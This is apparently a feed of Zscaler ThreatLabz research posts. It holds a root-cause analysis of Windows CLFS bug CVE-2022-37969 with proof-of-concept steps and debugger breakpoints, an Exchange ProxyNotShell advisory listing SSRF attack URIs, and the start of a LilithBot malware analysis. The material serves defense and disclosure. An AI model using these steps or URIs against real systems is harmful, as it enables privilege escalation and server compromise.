binary 73443d64cd55f505a52a3e6705 07e231 bvone.txt None encoded text file which consists of stealer and exfiltration code MITRE ATT&CK AND TTP Mapping ID Tactic T1059 Command and Scripting Interpreter T1064 Scripting T1140 Deobfuscate/Decode Files or Information T1082 System Information Discovery T1083 File and Directory Discovery T1005 Data from Local System T1047 Windows Management Instrumentation T1003 OS Credential Dumping T1018 Remote System Discovery T1518.001 Security Software Discovery Thu, 13 Oct 2022 09:00:01 -0700 Tarun Dewan https://www.zscaler.com/blogs/security-research/new-php-variant-ducktail-infostealer-targeting-facebook-business-accounts https://www.zscaler.com/blogs/security-research/technical-analysis-windows-clfs-zero-day-vulnerability-cve-2022-37969-part On September 2, 2022, Zscaler Threatlabz captured an in-the-wild 0-day exploit in the Windows Common Log File System Driver (CLFS.sys) and reported this discovery to Microsoft. In the September Tuesday patch, Microsoft fixed this vulnerability that was identified as CVE-2022-37969, which is a Windows Common Log File System Driver elevation of privilege vulnerability. An attacker who successfully exploits this vulnerability may gain SYSTEM privileges. The 0-day exploit can execute the privilege escalation successfully on Windows 10 and Windows 11 prior to the September patch. The cause of the vulnerability is due to the lack of a strict bounds check for the SignaturesOffset field in the Base Block for the base log file (BLF) in CLFS.sys. A specially crafted client context array and a fake Client Context in the base log file, can exploit CLFS to overwrite the SignaturesOffset field with an abnormal value. This leads to a validation bypass for the cbSymbolZone field when a Symbol is allocated. Thus, an invalid cbSymbolZone field can produce an out-of-bound write at an arbitrary offset. In this two-part blog series, we will demystify the vulnerability and the 0-day exploit discovered in-the-wild. The blogs consist of two parts: an analysis of the root cause, and an analysis of the exploit. In this blog, we first present a detailed analysis of the root cause for CVE-2022-37969. Debugging Environment All analysis and debugging in this two-part blog series were conducted in the following environment: Windows 11 21H2 version 22000.918 CLFS.sys 10.0.22000.918 Introduction to CLFS Internals The Common Log File System (CLFS) is a general-purpose logging subsystem that can be used by applications running in both kernel mode and user mode for building high-performance transaction logs, and is implemented in the driver CLFS.sys. The Common Log File System generates transaction logs in a base log file (BLF). The concepts and terminology introductions for CLFS are specified in the official documentation from Microsoft. Prior to using CLFS, a log file is created using the CreateLogFile API. A log file is composed of a base log file that consists of metadata blocks, and several containers that store the actual data. The AddLogContainer API is used to add a container to the physical log that is associated with the log handle. Figure 1 illustrates the BLF format based on the official CLFS documentation and Alex Ionescu’s unofficial documentation. Figure 1. Base Log File (BLF) Format A base log file is made up of six different metadata blocks, which are the control block, base block, and truncate block along with their corresponding block shadows. The three types of records (Control Record, Base Record, and Truncate Record) can reside in these blocks. This blog only focuses on the Base Record that is relevant to this vulnerability. The Base Record comprises the symbol tables that store information on the client contexts, container contexts, and security contexts associated with the base log file. Every log block begins with a log block header, with the structure defined below: typedef struct _CLFS_LOG_BLOCK_HEADER { UCHAR MajorVersion; UCHAR MinorVersion; UCHAR Usn; CLFS_CLIENT_ID ClientId; USHORT TotalSectorCount; USHORT ValidSectorCount; ULONG Padding; ULONG Checksum; ULONG Flags; CLFS_LSN CurrentLsn; CLFS_LSN NextLsn; ULONG RecordOffsets[16]; ULONG SignaturesOffset; } CLFS_LOG_BLOCK_HEADER, *PCLFS_LOG_BLOCK_HEADER; The memory layout of the CLFS_LOG_BLOCK_HEADER structure whose size is 0x70 bytes has been illustrated in Figure 1. The SignaturesOffset field is the offset of an in-memory array that is used to store all sector signatures. The array should be located on the last sector in each block. The sector signature is located at the end of every sector (size: 0x200) and consists of a Sector Block Type (1 byte) and Usn (1 byte). The following enumerates the types of a sector. const UCHAR SECTOR_BLOCK_NONE = 0x00; const UCHAR SECTOR_BLOCK_DATA = 0x04; const UCHAR SECTOR_BLOCK_OWNER = 0x08; const UCHAR SECTOR_BLOCK_BASE = 0x10; const UCHAR SECTOR_BLOCK_END = 0x20; const UCHAR SECTOR_BLOCK_BEGIN = 0x40; In Figure 1, the Base Block starts at offset 0x800 and ends at offset 0x71FF in a .BLF file and starts with a Log Block Header (0x70 bytes), followed by the Base Record Header, followed by records. The Base Record Header can be represented by the CLFS_BASE_RECORD_HEADER structure described in Figure 2. Figure 2. The definition of the CLFS_BASE_RECORD_HEADER structure The structure layout of the CLFS_BASE_RECORD_HEADER structure is illustrated in Figure 3. Figure 3. The structure layout of Base Record Header in a .BLF file The Base Record begins with a header (CLFS_BASE_RECORD_HEADER) whose size is 0x1338 bytes, followed by related context data. In the CLFS_BASE_RECORD_HEADER structure, some important fields related to this vulnerability are described below: rgClients represents the array of offsets that point to the Client Context object. rgContainers represents the array of offsets that point to the Container Context object. cbSymbolZone represents the next free available offset for a new symbol in the symbol zone. In the Base Record, the Client Context, Container Context, and Shared Security Context are represented by symbols, which are preceded by the CLFSHASHSYM structure defined below: typedef struct _CLFS_NODE_ID { ULONG cType; ULONG cbNode; } CLFS_NODE_ID, *PCLFS_NODE_ID; typedef struct _CLFSHASHSYM { CLFS_NODE_ID cidNode; ULONG ulHash; ULONG cbHash; ULONGLONG ulBelow; ULONGLONG ulAbove; LONG cbSymName; LONG cbOffset; BOOLEAN fDeleted; } CLFSHASHSYM, *PCLFSHASHSYM; The memory layout of the CLFSHASHSYM structure is illustrated in Figure 4, followed by various context objects. Figure 4. CLFSHASHSYM structure (symbol header) In the Base Record, the client context is used to identify a client for a log file. At least one client context can be created in a base log file. The client context is represented by the CLFS_CLIENT_CONTEXT structure defined below: typedef struct _CLFS_CLIENT_CONTEXT { CLFS_NODE_ID cidNode; CLFS_CLIENT_ID cidClient; USHORT fAttributes; ULONG cbFlushThreshold; ULONG cShadowSectors; ULONGLONG cbUndoCommitment; LARGE_INTEGER llCreateTime; LARGE_INTEGER llAccessTime; LARGE_INTEGER llWriteTime; CLFS_LSN lsnOwnerPage; CLFS_LSN lsnArchiveTail; CLFS_LSN lsnBase; CLFS_LSN lsnLast; CLFS_LSN lsnRestart; CLFS_LSN lsnPhysicalBase; CLFS_LSN lsnUnused1; CLFS_LSN lsnUnused2; CLFS_LOG_STATE eState; //+0x78 union { HANDLE hSecurityContext; ULONGLONG ullAlignment; }; } CLFS_CLIENT_CONTEXT, *PCLFS_CLIENT_CONTEXT; The eState field is located at offset 0x78 in the CLFS_CLIENT_CONTEXT structure, and can be one of the following values: typedef UCHAR CLFS_LOG_STATE, *PCLFS_LOG_STATE; const CLFS_LOG_STATE CLFS_LOG_UNINITIALIZED = 0x01; const CLFS_LOG_STATE CLFS_LOG_INITIALIZED = 0x02; const CLFS_LOG_STATE CLFS_LOG_ACTIVE = 0x04; const CLFS_LOG_STATE CLFS_LOG_PENDING_DELETE = 0x08; const CLFS_LOG_STATE CLFS_LOG_PENDING_ARCHIVE = 0x10; const CLFS_LOG_STATE CLFS_LOG_SHUTDOWN = 0x20; const CLFS_LOG_STATE CLFS_LOG_MULTIPLEXED = 0x40; const CLFS_LOG_STATE CLFS_LOG_SECURE = 0x80; In the Base Record, the container context is related to adding a container file for a base log file, which is represented by the CLFS_CONTAINER_CONTEXT structure defined below: typedef struct _CLFS_CONTAINER_CONTEXT { CLFS_NODE_ID cidNode; //8 bytes ULONGLONG cbContainer; //8 bytes CLFS_CONTAINER_ID cidContainer; // 4 bytes CLFS_CONTAINER_ID cidQueue; // 4 bytes union { CClfsContainer* pContainer; //8 bytes ULONGLONG ullAlignment; }; CLFS_USN usnCurrent; CLFS_CONTAINER_STATE eState; ULONG cbPrevOffset; //4 bytes ULONG cbNextOffset; //4 bytes } CLFS_CONTAINER_CONTEXT, *PCLFS_CONTAINER_CONTEXT; The field pContainer is a kernel pointer to the CClfsContainer object representing the container at runtime, which is located at offset 0x18 in the CLFS_CONTAINER_CONTEXT structure. Figure 5 shows the memory layout of the CLFS_CONTAINER_CONTEXT structure. Figure 5. The memory layout of the CLFS_CONTAINER_CONTEXT structure Reproduce BSOD Crash In order to determine the root cause of CVE-2022-37969, ThreatLabz developed a Proof-of-Concept (PoC) that triggers a “blue screen of death” (BSOD) crash stably. Figure 6 shows detailed crash information after triggering the vulnerability. Figure 6. CVE-2022-37969 crash information in WinDbg As shown in Figure 6, the register rdi points to an invalid memory address. The register rdi stores a pointer to the CClfsContainer object. In the CLFS_CONTAINER_CONTEXT structure described before, the field pContainer is a pointer to the CClfsContainer object and located at offset 0x18 in the memory layout. Based on the location of the crash, the field pContainer in the CLFS_CONTAINER_CONTEXT structure has been corrupted. This leads to a BSOD crash when this pointer is dereferenced. Figure 7 shows a comparison between a properly structured base log file (.BLF) and a specially crafted base log file that is used to trigger the CVE-2022-37969 vulnerability. Figure 7. A specially crafted Base Log File (BLF) for CVE-2022-37969 After this base log file is created, specific bytes including the field SignatureOffset, client context offset array, cbSymbol, a fake client context, etc must be modified accordingly. As shown in Figure 7, all mutated bytes are located in the Base Log Record (offset: 0x800 ~ 0x81FF in the .blf file). The modifications to the .blf file are listed in Figure 8. Figure 8. Modifications to the .BLF file to trigger CVE-2022-37969 Proof-of-Concept code to trigger CVE-2022-37969 is shown in Figure 9. Figure 9. Proof-of-Concept code snippet for CVE-2022-37969 The Proof-of-Concept of CVE-2022-37969 involves the following steps. Create a base log file MyLog.blf in the folder C:\Users\Public\ via the CreateLogFile API Create dozens of base log files named MyLog_xxx.blf. It’s crucial to make the offset between the two subsequently created memory regions representing the Base Block constant (where the constant offset equals 0x11000 bytes). The original 0-day sample leveraged an advanced method to produce the offset constant. Part 2 of this blog series will cover this technique. The ThreatLabz PoC uses a constant count to create base log files, and therefore, might not make the offset between the two subsequently created memory regions constant. Hence, the constant value has to be tweaked for this situation. Modify a couple of bytes at specific offsets in MyLog.blf, recalculate the new CRC32 checksum for the Base Block, then write the new checksum value at offset 0x80C. Then, open the existing base log file MyLog.blf. Call the CreateLogFile API to create a base log file MyLxg_xxx.blf in the folder C:\Users\Public\. Call the AddLogContainer API to add a log container for the base log file MyLxg_xxx.blf created in Step 4. Call GetProcAddress(LoadLibraryA("ntdll.dll"), "NtSetInformationFile") to obtain the function address of the NtSetInformationFile API. Call the AddLogContainer API to add a log container for the base log file MyLog.blf opened in Step 3. Call NtSetInformationFile(v55, (PIO_STATUS_BLOCK)v33, v28, 1, (FILE_INFORMATION_CLASS)13), where the last parameter is the type of FileInformationClass. When the value is FileDispositionInformation (13), the function will delete the file when it is closed or will cancel a previously requested deletion. Call the CloseHandle API to close the handle of the base log file MyLxg_xxx.blf, to trigger this vulnerability. Root Cause Analysis Now that Proof-of-Code has been introduced, the root cause can be analyzed. In Figure 9, Step 3 calls the CreateLogFile API whose 5th parameter is 4 (OPEN_ALWAYS), which opens an existing file or creates the file if it does not exist. In this case, the existing base log file MyLog.blf is opened. In Step 4, the code calls the CreateLogFile API to create a new base log file named MyLxg_xxx.blf. In Steps 5 and 7, respectively, the code calls AddLogContainer to add a container to the physical log that is associated with the log handle. First, let’s take a closer look at how the CLFS driver handles the request of adding a log container when the AddLogContainer() function is called in user space. The following breakpoint can be set to trace the process of handling this request. bu CLFS!CClfsRequest::AllocContainer In CLFS.sys, the CClfsRequest class is responsible for handling the requests from user space. The CClfsRequest::AllocContainer function is used to handle the request of adding a container to the physical log. The CClfsRequest::AllocContainer function calls CClfsLogFcbPhysical::AllocContainer whose declaration is shown below: CClfsLogFcbPhysical::AllocContainer(CClfsLogFcbPhysical *this, _FILE_OBJECT *,_UNICODE_STRING *,unsigned __int64 *) Next, the breakpoint at CClfsLogFcbPhysical::AllocContainer is set as follows: bu CLFS!CClfsLogFcbPhysical::AllocContainer In Step 5, when the code calls the AddLogContainer function, the breakpoint at CClfsLogFcbPhysical::AllocContainer is triggered. When the breakpoint is hit, let’s inspect the this pointer of the CClfsLogFcbPhysical class. The this pointer points to the CClfsLogFcbPhysical object. As shown in Figure 10, the register rcx stores the this pointer of the CClfsLogFcbPhysical class. Figure 10. Inspection of the this pointer for the CClfsLogFcbPhysical class at CClfsLogFcbPhysical::AllocContainer The address of vftable in the CClfsLogFcbPhysical class is stored at offset 0x00. At offset this+0x30, a pointer to the log name is stored. At offset this+0x2B0, the this pointer to CClfsBaseFilePersisted class is stored. Once in memory, a CLFS Base Log File is represented by a CClfsBaseFile class, which can be further extended by a CClfsBaseFilePersisted class. In the this pointer of the CClfsBaseFilePersisted class, at offset 0x30 a pointer to a heap buffer is stored whose size is 0x90 bytes. Furthermore, in the heap buffer, a pointer to the Base Block is stored at offset 0x30. Additionally, in the this pointer of CClfsBaseFilePersisted, a pointer to the CClfsContainer object is stored at offset 0x1C0. After a container is added successfully, we can check the CLFS_CONTAINER_CONTEXT structure described in Figure 5 in memory as shown in Figure 11. Figure 11. The CLFS_CONTAINER_CONTEXT structure after a container is added successfully At offset 0x1C0 in the CClfsBaseFilePersisted object, a pointer to the CClfsContainer object is stored which comes from the field pContainer in the CLFS_CONTAINER_CONTEXT structure. At this point, a memory write breakpoint at CLFS_CONTAINER_CONTEXT+0x18 can be set to trace when the pointer to the CClfsContainer object in the CLFS_CONTAINER_CONTEXT structure is corrupted. Another memory write breakpoint at offset 0x1C0 in the CClfsBaseFilePersisted object can be set as follows: 1: kd> ba w8 ffffc80c`cc86a4f0 //CLFS_CONTAINER_CONTEXT: +0x18 1: kd> ba w8 ffffb702`3cf251c0 //CClfsBaseFilePersisted: +0x1C0 In Step 7, when the code calls the AddLogContainer function, the breakpoints at CLFS!CClfsRequest::AllocContainer and CLFS!CClfsLogFcbPhysical::AllocContainer are hit again. At this point, let’s inspect the this pointer (see Figure 12) of the CClfsLogFcbPhysical class. It's worth noting that the SignaturesOffset field, which was originally set to 0x00000050 in the crafted MyLog.blf file, has been set to 0xFFFF0050 in memory. Figure 12. Inspection of the this pointer for CClfsLogFcbPhysical class In WinDbg, let’s continue to run the code. The memory write breakpoint “ba w8 ffffc80c`cc86a4f0” will be hit, and the CLFS_CONTAINER_CONTEXT structure in the Base Record produces an out-of-bound write, which leads to a corrupted pointer in the CClfsContainer object shown in Figure 13. Figure 13. Corrupting the pointer to the CClfsContainer object in CLFS_CONTAINER_CONTEXT structure Based on the above back stack trace, the memset function was called to trigger the memory write breakpoint in the CClfsBaseFilePersisted::AllocSymbol function. Figure 14 shows the pseudocode of the CClfsBaseFilePersisted::AllocSymbol function. Figure 14. The pseudocode of the CClfsBaseFilePersisted::AllocSymbol function This function is described as follows: The variable v9 is the value of the field cbSymbolZone in the Base Record Header. The field cbSymbolZone was set to be an abnormal value described in Figure 8. This value was modified from 0x000000F8 to 0x0001114B. Validate the cbSymbolZone field. In order to perform an out-of-bound write in Step 4, this validation must be bypassed. The SignaturesOffset field, which was originally 0x00000050 in the crafted MyLog.blf file described in Figure 7, has been overwritten with a large number (0xFFFF0050) in memory. Therefore, even when the cbSymbolZone field is set to an abnormal value, the validation for the cbSymbolZone field can still be bypassed. Determining the reason that the SignaturesOffset field is set to 0xFFFF0050 from 0x00000050 is the root cause of CVE-2022-37969. The variable v10 is equal to v9 plus the BaseLogRecord plus 0x1338, and the variable v9 is equal to 0x0001114b, which leads to an invalid offset at v10. The function calls memset() which causes an out-of-bound write at an invalid offset v10, which falls into the CLFS_CONTAINER_CONTEXT structure in the Base Record for MyLxg_xxx.blf, leading to a corrupted CClfsContainer pointer at offset 0x18 in the CLFS_CONTAINER_CONTEXT structure. Figure 15 shows how the out-of-bound write occurs, leading to a corrupted pointer in the CClfsContainer object. Figure 15. Explanation of the out-of-bound write caused by CVE-2022-37969 So far, we have discussed why an out-of-bound write occurred and how the pointer to CClfsContainer object in the CLFS_CONTAINER_CONEXT structure was corrupted. Next, let’s take a look at when the corrupted CClfsContainer pointer will be dereferenced. After that, we will go back to figure out why the SignaturesOffset field in memory is set to 0xFFFF0050 from 0x00000050. When the CloseHandle function is called in user space, CClfsRequest::Close(PIRP Irp) is responsible for handling this request. In the kernel, another memory breakpoint (0x1c0+CClfsBaseFilePersisted) is hit in the ClfsBaseFilePersisted::WriteMetadataBlock function as shown in Figure 16. Figure 16. Memory breakpoint(0x1c0+CClfsBaseFilePersisted) hit in ClfsBaseFilePersisted::WriteMetadataBlock The corrupted pointer is copied to the CClfsContainer object in the CLFS_CONTAINER_CONTEXT structure in the Base Record to the offset 0x1c0 in the CClfsBaseFilePersisted object. Figure 17 shows the pseudocode of the ClfsBaseFilePersisted::WriteMetadataBlock function after the corrupted pointer to CClfsContainer is stored at offset 0x1c0 in the CClfsBaseFilePersisted object. The code zeros out the field of the pointer to the CClfsContainer object in the CLFS_CONTAINER_CONTEXT structure. After decoding the block, the pointer to the CClfsContainer object is restored in the CLFS_CONTAINER_CONTEXT structure from the offset 0x1c0 in the CClfsBaseFilePersisted object. Figure 17. The pseudocode of the ClfsBaseFilePersisted::WriteMetadataBlock function Finally, the breakpoint at CLFS!CClfsBaseFilePersisted::RemoveContainer can be set to trace when the corrupted pointer to the CClfsContainer object in the CLFS_CONTAINER_CONTEXT structure in the Base Record is dereferenced. Figure 18 shows the pseudocode of the CClfsBaseFilePersisted::RemoveContainer function. Figure 18.The pseudocode of the CClfsBaseFilePersisted::RemoveContainer function The following steps are executed in the CClfsBaseFilePersisted::RemoveContainer function. Obtains the container context offset at offset 0x398 in the Base Record. Calls CClfsBaseFile::GetSymbol to obtain the pointer to the CLFS_CONTAINER_CONTEXT structure and stores it in the 4th parameter. Assigns the value of the pointer to the CClfsContainter object in the CLFS_CONTAINER_CONTEXT structure obtained in Step 2 to the local variable v13. Zeros out the pointer to the CClfsContainter object in the CLFS_CONTAINER_CONTEXT structure. Calls CClfsContainer::Remove and CClfsContainer::Release, in turn, to remove the associated container log file and release the CClfsContainer object. Dereferencing the corrupted pointer to the CClfsContainter object leads to a memory violation. Figure 19 shows the crash information in WinDbg, consequently producing the BSOD crash. Figure 19. Dereferencing the corrupted pointer to the CClfsContainter object As described in Figure 14, an out-of-bound write occurred in the CClfsBaseFilePersisted::AllocSymbol function. Before calling the memset function, the validation for the cbSymbolZone field has been bypassed due to the SignaturesOffset field in memory being overwritten with 0xFFFF0050. The SignaturesOffset field in memory in the base block can be overwritten with 0xFFFF0050 in the process of handling the request of calling the CreateLogFile API to open the specially crafted base log file MyLog.blf described in Step 3 in Figure 9. When the CreateLogFile function is called in user space, CLFS!CClfsRequest::Create is responsible for handling this request. When the CreateLogFile function is used to open an existing base log file, the function CClfsLogFcbPhysical::Initialize is called in CLFS.sys. Figure 20 shows the pseudo-code snippet of the CClfsLogFcbPhysical::Initialize function. Figure 20. The pseudo-code snippet of the CClfsLogFcbPhysical::Initialize This function is described as follows: 1. Call the CClfsBaseFilePersisted::OpenImage function to create a bigpool (size: 0x7a00) for the base block in a base log file. The following function calls can be followed to enter the CClfsBaseFilePersisted::ReadMetadataBlock function. CClfsBaseFilePersisted::OpenImage -> CClfsBaseFilePersisted::ReadImage -> CClfsBaseFile::AcquireMetadataBlock -> CClfsBaseFilePersisted::ReadMetadataBlock Figure 21 shows the pseudo-code snippet of the CClfsBaseFilePersisted::ReadMetadataBlock function, where the ExAllocatePoolWithTag(PagedPoolCacheAligned, 0x7a00, 0x73666C43u) is called to create a bigpool to store the base block, followed by initializations, and then the ClfsDecodeBlock function is called to decode the block. In the ClfsDecodeBlock function, the ClfsDecodeBlockPrivate function is called to parse the sector signatures array that is located at offset 0x50 (the value of SignaturesOffset) in the base block. Two bytes are required to overwrite the sector signature of each sector. These two bytes 0x0050 at offset 0x68 in the base block can be overwritten to the offset 0x19FE (0xC*0x200+0x1FE) where the sector signature of the 13th section is stored. At this point, we can set two memory write breakpoints which are located at base_block+0x68 and base_block+0x200*0xE-0x8. The purpose of setting these two memory write breakpoints is to trace when the sector signature of the 14th sector in the base block is overwritten, and the SignaturesOffset field in the base block is overwritten to 0xFFFF0050. 1: kd> ba w8 ffffd08b`51c03000+0x68 //base_block+0x68 1: kd> ba w8 ffffd08b`51c03000+0x200*0xE-0x8 // base_block+0x200*0xe-0x8 Figure 21. The pseudo-code snippet of the CClfsBaseFilePersisted::ReadMetadataBlock function 2. Call the CClfsBaseFile::AcquireClientContext function to acquire the client context from the base block. As shown in Figure 7, the first offset in the Client Context offset array located at offset 0x9A8 in the base log file is specially crafted. A fake Client Context is located at offset 0x23A0 in the base log file. The eState field located at offset 0x78 in the fake Client Context structure is set to 0x20 (CLFS_LOG_SHUTDOWN). 3. Check if the eState field is not CLFS_LOG_SHUTDOWN or the base log is a multiplexed log. 4. Call the CClfsLogFcbPhysical::ResetLog function due to the condition being false in Step 3. Figure 22 shows the pseudo-code snippet of the CClfsLogFcbPhysical::ResetLog function. The 8 bytes located at base_block+0x1BF8 are set to 0xFFFFFFFF00000000. The sector signature is located at offset base_block+0x1BFC. Therefore, the sector signature is overwritten with 0xFFFF. Figure 23 demonstrates that the sector signature is overwritten in WinDbg. Figure 22. The pseudo-code snippet of the CClfsLogFcbPhysical::ResetLog function Figure 23. The sector signature is overwritten with 0xFFFF 5. Call the CClfsLogFcbPhysical::FlushMetaData function. The following function calls can be followed to enter the CLFS!ClfsEncodeBlockPrivate function. CLFS!CClfsLogFcbPhysical::FlushMetadata -> CLFS!CClfsBaseFilePersisted::FlushImage -> CLFS!CClfsBaseFilePersisted::WriteMetadataBlock -> CLFS!ClfsEncodeBlock -> CLFS!ClfsEncodeBlockPrivate Figure 24 shows the pseudo-code snippet of the CLFS!ClfsEncodeBlockPrivate function. Figure 24. The pseudo-code snippet of the CLFS!ClfsEncodeBlockPrivate function The code above acquires the sector signature from each sector in the base block and overwrites the sector signature array with the sector signature. The sector signature array is located at offset 0x50 and overlaps the SignaturesOffset field in the base block. The sector signature of the 14th sector has been set to 0xFFFF as shown in Figure 23. Therefore, two bytes (0xFFFF) are overwritten at offset 0x6C (0x50+0xE*2) in the base block. At this time, the SignaturesOffset field has the value 0xFFFF0050 as shown in Figure 25. Figure 25. The SignaturesOffset field is overwritten with 0xFFFF0050 In the end, we summarize the process of overwriting the SignaturesOffset field in Figure 26. Figure 26. The process of overwriting the SignaturesOffset field Conclusion In this blog, ThreatLabz presented a detailed root cause analysis for CVE-2022-37969, which is due to improper bounds checking for the SignaturesOffset field in the Base Block for the base log file (BLF) in CLFS.sys. A specially crafted client context array and a fake Client Context in the base log file, can exploit CLFS to overwrite the SignaturesOffset field with an abnormal value. This leads to a validation bypass for the cbSymbolZone field when a Symbol is allocated. Thus, an invalid cbSymbolZone field can produce an out-of-bound write at an arbitrary offset. Therefore, the pointer to the CClfsContainer object can be corrupted. When dereferenced, the corrupted pointer to the CClfsContainer object causes a memory violation that triggers a BSOD crash. In Part 2, we will present the analysis of the 0-day exploit that leverages this vulnerability for privilege escalation. Stay tuned! Mitigation All users of Windows are encouraged to upgrade to the latest version. Zscaler’s Advanced Threat Protection and Advanced Cloud Sandbox can protect customers against the in-the-wild 0-day exploit of CVE-2022-37969. Win32.GenExploit.LogFile Win32.Exploit.CVE-2022-37969 Cloud Sandbox Detection References https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-37969 https://github.com/ionescu007/clfs-docs/blob/main/README.md https://i.blackhat.com/USA-22/Thursday/us-22-Jin-The-Journey-Of-Hunting-ITW-Windows-LPE-0day.pdf https://www.slideshare.net/PeterHlavaty/deathnote-of-microsoft-windows-kernel https://www.pixiepointsecurity.com/blog/nday-cve-2022-24521.html https://blog.exodusintel.com/2022/03/10/exploiting-a-use-after-free-in-windows-common-logging-file-system-clfs/ https://learn.microsoft.com/en-us/previous-versions/windows/desktop/clfs/common-log-file-system-portal https://learn.microsoft.com/en-us/previous-versions/windows/desktop/clfs/log-types https://learn.microsoft.com/en-us/previous-versions/windows/desktop/clfs/creating-a-log-file https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-the-common-log-file-system https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/clfs-terminology Fri, 14 Oct 2022 09:54:15 -0700 Kai Lu https://www.zscaler.com/blogs/security-research/technical-analysis-windows-clfs-zero-day-vulnerability-cve-2022-37969-part https://www.zscaler.com/blogs/security-research/coverage-advisory-microsoft-exchange-server-2019-2016-2013-vulnerabilities Background: On 29 Sept, Microsoft disclosed that they started investigation on two zero-day vulnerabilities, CVE-2022-41040 and CVE-2022-41082 in Microsoft Exchange Server 2013, Exchange Server 2016 and Exchange Server 2019 . The CVE-2022-41040 is a Server-Side Request Forgery (SSRF) vulnerability, and the other vulnerability, CVE-2022-41082, allows Remote Code Execution (RCE) when PowerShell is accessible to the attacker. As per Microsoft, currently, the adversaries are exploiting these vulnerabilities for targeted attacks. As per the guidance provided here, it is believed that CVE-2022-41040 can be used as a stepping stone for the authenticated adversary to remotely exploit another vulnerability, CVE-2022-41082. However, authenticated access to the vulnerable exchange server is required to exploit either of these vulnerabilities. They both can also be used separately. Both these vulnerabilities are also identified as ProxyNotShell. What are the issues? In August 2022, in a small number of targeted attacks, an adversary group, which is believed to be a state sponsored organization, gained initial access and compromised Exchange Servers by chaining CVE-2022-41040 and CVE-2022-41082. As per the blog from Microsoft, an adversary group was able to install a widely abused Chopper web shell using which the adversary gained hands-on-keyboard access. Then the adversary is believed to perform the Active Directory reconnaissance attack followed by exfiltration of data. Later, in September 2022, Microsoft also evaluated these attacks for a possible newer vector when Zero Day Initiative (ZDI) disclosed CVE-2022-41040 and CVE-2022-41082. The details along with an example of chained exploitation of these two vulnerabilities, CVE-2022-41040 and CVE-2022-41082 and exploitation details of CVE-2022-41040 are available here. Below picture shows the possible attack/exploitation flow which can be used for exchange server vulnerabilities. Even though the authentication to the vulnerable Exchange Server is required to exploit these vulnerabilities, it is just the standard user level authentication required. The credentials required for a standard user level authentication can easily be gained through commonly known techniques like password spray etc. Adversaries exploited prior Exchange vulnerabilities that required authentication for deploying ransomware. Hence it is speculated that these vulnerabilities can likely be included for similar attacks. Few of the Suspicious URIs found by Zscaler ThreatLabZ Team : /autodiscover/autodiscover.json?@Domain_Name/Powershell /qbox?query=Domain_Name/autodiscover.json@Powershell&language=en- US /autodiscover/autodiscover.json?@aa.bb.cc.dd/&Email=autodiscover/autodiscover.json%3f@xx.ff /ac/?q="/autodiscover/autodiscover.json+@abc.xyz.com/powershell/ /autodiscover/autodiscover.json?csirt@abc.xyz.com/owa/&Email=autodiscover/autodiscover.json?abc@abc.xyz.com&FooProtocol=Powershell Affected products: This vulnerability affects the following Microsoft products: Exchange Server 2013 Exchange Server 2016 Exchange Server 2019 Mitigations: For mitigation of said vulnerability Microsoft has released HotFix for vulnerable versions here. CISA/ US-CERT also released guidance for the same. Zscaler strongly recommends upgrading to patched versions or installing HotFix depending on what current version of Microsoft Exchange products are deployed. Best Practices/Guidelines To follow: Limit the impact from a potential compromise by restricting lateral movement with identity-based micro-segmentation (Zscaler Workload Segmentation) and a Zero Trust architecture. Safeguard crown jewel applications by limiting lateral movement using Zscaler Private Access, especially with application security modules turned on. Route all server traffic through Zscaler Private Access with additional application security module enabled and Zscaler Internet Access, which will provide the right visibility to identify and stop malicious activity from compromised systems/servers. Restrict traffic to the critical infrastructure from the allowed list of known-good destinations. Ensure you are inspecting all SSL traffic. Turn on Advanced Threat Protection to block all known command-and-control domains. This will provide additional protection in case the adversary exploits this vulnerability to implant malware. Extend command-and-control protection to all ports and protocols with the Advanced Cloud Firewall (Cloud IPS module), including emerging C2 destinations. Again, this will provide additional protection in case if the adversary exploits this vulnerability to implant malware. Use Advanced Cloud Sandbox to prevent unknown malware delivered as part of a second stage payload. Zscaler Coverage: Zscaler’s ThreatLabZ team has deployed protection. Advanced Threat Protection: APP.EXPLOIT.CVE-2022-41040-CVE-2022-41082 Zscaler Private Access AppProtection: Category : Protocol-Enforcement - 920273 As further information comes in or additional protection is put into place, Zscaler will update this publication accordingly. Additional References: https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/ https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/ https://gteltsc.vn/blog/warning-new-attack-campaign-utilized-a-new-0day-rce-vulnerability-on-microsoft-exchange-server-12715.html https://securitytrails.com/blog/zero-day-microsoft-exchange-vulnerabilities https://www.tenable.com/blog/cve-2022-41040-and-cve-2022-41082-proxyshell-variant-exploited-in-the-wild. Fri, 07 Oct 2022 04:17:16 -0700 Vishal Sangolekar https://www.zscaler.com/blogs/security-research/coverage-advisory-microsoft-exchange-server-2019-2016-2013-vulnerabilities https://www.zscaler.com/blogs/security-research/analysis-lilithbot-malware-and-eternity-threat-group Introduction ThreatLabz recently discovered a sample of the multi-function malware LilithBot in our database. Further research revealed that this was associated with the Eternity group (a.k.a. EternityTeam; Eternity Project), a threat group linked to the Russian “Jester Group,” that has been active since at least January 2022. Eternity uses an as-a-service subscription model to distribute different Eternity-branded malware modules in underground forums, including a stealer, miner, botnet, ransomware, worm+dropper, and DDoS bot. The LilithBot we discovered was being distributed through a dedicated Telegram group and a Tor link that provided one-stop-shopping for these various payloads. In addition to its primary botnet functionality, it also had built-in stealer, clipper, and miner capabilities. In this blog, we’ll provide a deep analysis of the LilithBot campaign, including a look at several variants. Key Features of this Attack Threat groups have been enhancing their capabilities and selling them as Malware-as-a-Service (MaaS) in exchange for a membership fee. One such cyber criminal group, dubbed “Eternity,” has been found selling the malware “LilithBot” “LilithBot” is distributed by Eternity via a dedicated Telegram channel from which we can purchase it via Tor. It has advanced capabilities to be used as a miner, stealer, and a clipper along with its persistence mechanisms. The group has been continuously enhancing the malware, adding improvements such as anti-debug and anti-VM checks. The malware registers itself on the system and decrypts itself step by step, dropping its configuration file. LilithBot uses various types of fields such as license key, encoding key, and GUID which is encrypted via AES and decrypts itself at runtime. It steals all the information and uploads itself as a zip file to its Command and Control. Summary In July 2022, Zscaler’s ThreatLabz threat research team identified a multifunctional malware bot known as LilithBot, sold on a subscription basis by the Eternity group. In this campaign, the threat actor registers the user on its botnet and steals files and user information by uploading it to a command-and-control (C2) server using the Tor network. In this campaign, the malware uses fake certificates to 